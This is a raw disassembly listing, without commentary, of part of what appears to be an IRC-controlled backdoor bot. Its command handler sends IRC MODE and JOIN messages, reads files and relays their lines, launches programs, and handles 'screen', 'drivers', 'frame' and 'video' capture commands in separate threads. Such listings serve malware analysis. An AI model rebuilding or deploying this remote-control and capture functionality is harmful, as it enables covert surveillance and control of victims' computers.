		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_429E28


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2660F23h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_4298C0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	near ptr 26701D0h
		nop
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
